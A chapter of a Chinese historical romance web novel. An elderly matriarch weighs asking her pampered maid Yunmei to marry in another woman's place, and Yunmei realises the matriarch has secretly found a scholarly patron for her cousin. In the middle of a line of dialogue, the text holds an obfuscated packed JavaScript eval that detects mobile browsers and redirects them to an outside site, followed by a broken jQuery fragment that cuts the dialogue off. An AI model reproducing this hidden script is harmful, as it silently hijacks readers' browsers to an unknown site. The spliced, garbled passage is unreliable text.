5. 巧饰伪(五)
    云湄见何老太太止了话头,不住地检视自己,一副双唇翕动、要说不说的模样,不由感到一阵纳罕,转头求助地看向赵嬷嬷,眼神询问方才是不是发生了什么棘手的事儿。

    赵嬷嬷却也只冲她敷衍笑笑,并不上赶着点破缘由的样子。

    果然,如赵嬷嬷所料,老太太终归是暂且没开这个口,只使唤云湄醉冰几个摆弄午膳,将人都支走了,独个儿在厅里呆坐着,撑着脑袋发愁。

    赵嬷嬷将人都给遣送走,又褰了帘子钻进来,静站在那儿看着何老太太。

    何老太太果然还有话说,“你适才不提,也觉着难以启齿是不是?”

    “我是怕老太太舍不得呀。这崴泥的烂事,一说出口,难保伤了湄姑娘的心。至时候就算黄了,主仆也生了隔阂,那是难以弥补的。”赵嬷嬷亦是唉了一声,道,“湄姑娘心气儿不低,虽则是个奴婢,但这些年也被老太太宠得眼珠子似的,平日里养得比府上一些姨娘生的小姐还要娇惯。要她去给人替嫁,破了清白身子去侍奉人家的夫君,活得小心翼翼生怕露馅儿,如履薄冰地经营这场婚事,将来还要妥帖地拱手让位,她或恐是不肯的。您眼下给她的恩荣,便尽够了,她哪里愿意去外头受罪,蹚这么趟不知深浅的浑水。要伪装到位,到底束手束脚,就说最浅显的笑模样吧!情姐儿笑起来没有梨涡,但湄姑娘笑开了就有,难不成她嫁过去,时时刻刻的,连一个笑脸子都得拘束着不成……更别说旁的习性了。”

    换做寻常仆婢,恩威并施一番,三两下也就成了,那些婢子估计还觉着是一个上好的机会,哪有不从的,甚至还上赶着,只捶胸顿足地恨自己生得不像三姑娘,与这个天大的福分失之交臂呢。

    但何老太太与赵嬷嬷都知晓,云湄可不同,她不一定觉着这是她的福气。

    早前二房媳妇还没去的时候,膝下一个有些家底子的姨侄儿过府拜访,瞧上了正在水榭旁的梅林里接露水的云湄,何老太太便从中牵线,云湄却说了漂亮话来婉拒,何老太太这才晓得了,纵是寻常的富贵主子,云湄也是瞧不上的。

    按说一个奴婢,哪儿敢有这么大的心气儿?相当不知好歹!

    但……这都是何老太太自己一阶一阶捧起来的,外人等闲可嚼不得舌根呐。

    ——早几年的时候,何老太太将云湄几个带去母家探亲,对人说起来,醉冰那几个都是不要紧的婢子,但提起云湄,何老太太便直说是自个儿的黄花女儿,其偏宠之意,全然不言而喻了。

    这便是在贤身贵体的老妇人身边伺候的好处,一旦侍奉得舒心了,一朝翻身,面对等闲的富贵人家,云湄再是奴婢,也都是挑挑拣拣的那一方,仗着何老太太的面子,浑不用看别人的脸色。

    “罢了,瞧着来吧。”何老太太也为难,“纵是当真没辙儿了,非得她来填这个窟窿,我也万万不会亏待了她。”

    何老太太说着,竟让赵嬷嬷把自己当年的嫁妆册子给翻了出来,还煞有介事地戴上了老花镜,明摆着是要给云湄瞧好几块儿出息不错的田地庄子,日后以作补偿。

    赵嬷嬷跟着笑。毕竟往常赏赐下人,至多几个子儿,像同样受到何老太太看重的春窈,出嫁的时候,老太太给了几排压箱底的银元,那也算是独一无二的、天大的恩赐了。只是再出格,又哪里有当下这么着,奔着往赏赐田畴别业去瞧的……

    ***

    这日,云湄忙完,回深德院饮了盏甜水,又匆匆蹭着醉冰的零嘴儿扒拉了几口,瞧着就又要往外头去忙活。

    何老太太正被采儿扶出来,往廊芜下的躺椅上去,一见云湄便叫住她,“还没弄完啊?”

    云湄止住步子,回身答道:“是呢,外院明玉堂的平板坊、挂落、垂莲柱那些个,年深日久,都有些不同程度的剥落了,正喊师傅髹漆,我得去看着。还有那踏跺,经来客踩多了,有些石块儿得重新——”

    “站住,你那羹吃了几口?没得待会儿站着都没力气。”何老太太还是坚持把她留下,打断道,“再坐坐吧,那么多小厮在那儿呢,都白饭吃的?哪里全得你跑跑颠颠地监工了。”

    “既然承办了,就得办得最好呀,哪个姑娘不想风风光光地出嫁呢,想二姑娘亦是如此。”云湄听出来几分端倪,走上前搀住老人家,了然地笑说,“我晓得了,老祖宗是有事儿找我?”

    显然这事儿是桩难以启齿的,故此,何老太太表现得比较迂回,并没有开门见山,而先是寻了个由头把采儿打发走,单独将云湄带进房里,叫她欣赏绣庄送来的新缎子,一尺一尺铺陈在一架架衣桁上,经韶光一昭,尽显富贵流华,简直迷晃人眼:“看看吧,喜欢哪样?”

    复又扯扯云湄身上的衣料,挑拣道:“都去年的货色了,还穿,我老婆子供不起你似的,也不知道来讨点儿新料子。昨儿个请安,几个姨娘的孩子还冲我撒娇卖嗔呢,都说我偏心,哪能知道其实你什么都没要过,通身的风光,都是我强塞的似的,有些家伙,赏了你还忘记戴呢,哪像他们似的,一有什么,尽皆堆在头脸上了。”

    云湄确实没主动冲老太太要过什么,顶多是讨一讨回家省亲、同家人书信往来的恩典,再没多的了。

    但她那一身打扮,也着实比之姨娘的孩子还要波俏许多,就瞧那指根上套着的银嵌天水碧的松石指环,腕子上露出的一截云纹白玉的细手镯,还有那花卉纹点翠的银耳坠儿,端的是——处处都能显露出极为受宠的痕迹。

    既然何老太太开口,云湄也不忸怩,因为推拒过了火,这老祖宗会嫌小家子气,她在她底下讨鼻息,总得处处迎合着,才过得舒爽不是。

    于是云湄身形来回,正经在各个架子上挑了挑,最终选了条暮山紫的料子,“这个给老太太做披帛,配上今年开春在盛颜斋新订的那套葡萄青的木芙蓉花钗,一个挽在臂膀里,一个点缀在发髻上,定是相得益彰。”

    何老太太佯作打她:“要你给自己瞧呢,调皮!”实则心里受用得很,谁不想处处被人这么惦记呢。

    云湄笑得粲然,这才给自己挑起缎子来。这空当,何老太太又道:“既这么赶上了,便给你那表哥也挑一匹吧。”

    说着,矮身从香几上拿起一封信,递给云湄。

    云湄眼波儿微动,伸手接过:“我表哥又来信啦?”

    何老太太说可不是,“你俩情谊深着呢,月月都来,今儿门房偷懒,当我娘家的信,给混着送过来了。”

    “欸,我可没偷瞧过啊,这封缄都是新的。”何老太太说着,又打量云湄的神情一眼,凑趣儿道,“羞了?你同你那表哥到底是怎么着呢,每每问起,也含混地不说……”

    云湄直觉老太太藏了事儿没告知自己,现下的打探,或恐同老太太将要说的事情相干。

    她只含糊地道:“老祖宗晓得的,我身世伶仃,除却老家零星几个不亲近的远亲,就是这个没甚血缘的表哥了,自然得紧密联系着。”

    没成想何老太太来真的,郑重拉她在南窗下安坐,仔细探问道:“你也不小了,婚事上到底是怎么想的?虽然我老婆子舍不得你,但姑娘留大了,总是不好嫁的,平白错失多少出色的郎子。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134277|150018||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    何老太太说着,眼神却一个劲儿地往信封上瞟,那意思不言而喻了。

    其实云湄对表哥没有什么浓烈的情意,只是觉着那是一个安心的好去处罢了。

    这一点同老太太没什么好藏着掖着的,于是也照常说了。

    何老太太听了,陷入思忖,手里的扇子往外挪了挪,示意她下去拆信、回信。

    云湄虽则好奇老太太究竟在盘算些什么,但见老太太赶人,也识趣地并不追问,起身离开,留她自个儿想,毕竟当下回信最是要紧。

    ***

    何老太太硬是使唤人给云湄上了碗春笋馅儿的馉饳,并叮嘱她填饱了肚子、休息够一个时辰,再去外院干活儿。

    云湄将碗筷搬到向阳处的小木桌上,拆开信上的封缄,一面浏览,一面噍嚼。

    为了盘账,云湄跟何老太太学过字,虽然不成锦绣文章,但到底是有些功夫,开些单子、写写信,还是绰绰有余的。

    表哥乔子惟于信上写道,自己这回入京赶考,虽然遗憾未能高中,但文章意外被一位宿儒相中,遂奉上束脩,拜其为恩师,且暂住恩师府上,由恩师供养,作为俊秀监生,进入国子监求学修业。

    云湄看到“失之交臂”时,眉心微微蹙起,担忧表哥寒窗多年,屡试不第,会感到伤怀,一蹶不振。但乔子惟像是料到了似的,下半部分便切切地写道,让云湄一定宽心,虽然国子监评定难过,但此处佳士云集,能够广交好友,以图未来运作,是个顶好的去处,旁人挤破头还进不来。

    云湄遂舒心地笑了,吃罢东西,转身回到自己房里,找出了一包还没来得及绣上纹样的香囊。

    她想了想,用何老太太留给她的空当辰光,寻出了一本百花绣谱,按照其上所教,在香囊上给乔子惟绣了一枝寓意高中的桂花,还用细碎的小珊瑚珠点缀了花芯,待得往后给表哥订制的成衣做好了,一块儿随回信寄给他。

    正这么思忖着,云湄才恍然记起,表哥现而今寄居恩师门下,现下地址变化,得去门房那儿更改一下。

    于是她复又翻开那封信,记下了表哥新近所在的寓所地址。

    就是这记录的关头,云湄心念微动,又想起表哥所说的那位大儒来,总觉着有些熟悉。

    云湄往回翻翻,果不其然,此鸿儒单姓一个何。她又看了看地址所在的坊,分明是何老太太客岁探亲所去过的地方,彼时云湄染了风寒,不便四处陪着奔波,但一应车马、出行所要用到的物什,都是她亲手给何老太太安排的。

    所以云湄记得,此处,乃是何老太太一个关系较为亲近的族兄的宅院,未来三姑娘过门,也是预备走这儿出阁的,因为比之远离京畿的宋府,此处离今阳许家要近上很多,省了好些不必要的奔波。

    云湄愈发认为不是巧合了。

    乔子惟虽则有些文才,在乡县里还算出类拔萃,可上京城俊彦丛集,超群之人都扎上堆儿了,表哥埋没其中,对比之下实在碌碌,那名扬四海的何大儒,怎么就偏生能看中表哥呢?

    云湄心中微震,携了信,回到正房,万分感激地看向正坐在蝉纹茶几旁啜茶的何老太太。

    侍立在一侧的赵嬷嬷望了过来,朝捏着信的云湄笑笑,一副意料之中的神情。

    何老太太更是摆明了一副等候多时的架势,见云湄打帘入内,双手离开茶盏,搁在膝头无措地搓了搓,很有些为难的模样,但思虑良晌,终归还是冲云湄招了招手,道:“过来坐下罢!你是个聪慧孩子,近来多有反常之处,想必你心中十分好奇吧?”